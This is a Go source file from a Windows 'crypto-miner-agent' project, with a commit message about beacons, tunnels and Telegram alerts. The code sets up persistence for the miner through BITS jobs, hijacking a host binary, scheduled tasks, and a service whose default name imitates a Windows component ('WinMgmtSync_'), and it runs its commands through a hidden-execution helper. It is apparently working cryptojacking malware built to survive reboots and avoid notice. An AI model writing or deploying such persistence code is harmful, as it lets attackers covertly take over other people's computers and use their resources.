Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
51 lines
1.3 KiB
Go
51 lines
1.3 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func scheduledTaskExists(taskName string) bool {
|
|
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
|
|
}
|
|
|
|
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
|
|
return registryRunValueExists(cfg, AutostartLogonRun, binPath)
|
|
}
|
|
|
|
func serviceExists(svcName string) bool {
|
|
return HiddenRun("sc.exe", "query", svcName) == nil
|
|
}
|
|
|
|
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
|
switch cfg.RunAs {
|
|
case "bits":
|
|
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
|
|
return err
|
|
}
|
|
case "host_binary":
|
|
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
|
|
return err
|
|
}
|
|
case "scheduled":
|
|
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
|
if err := createScheduledTask(cfg, installedBin); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
case "service":
|
|
svcName := cfg.ServiceName
|
|
if svcName == "" {
|
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
}
|
|
if !serviceExists(svcName) {
|
|
if err := createWindowsService(cfg, installedBin); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
}
|
|
return ensureAutostartHooks(cfg, installedBin, true)
|
|
}
|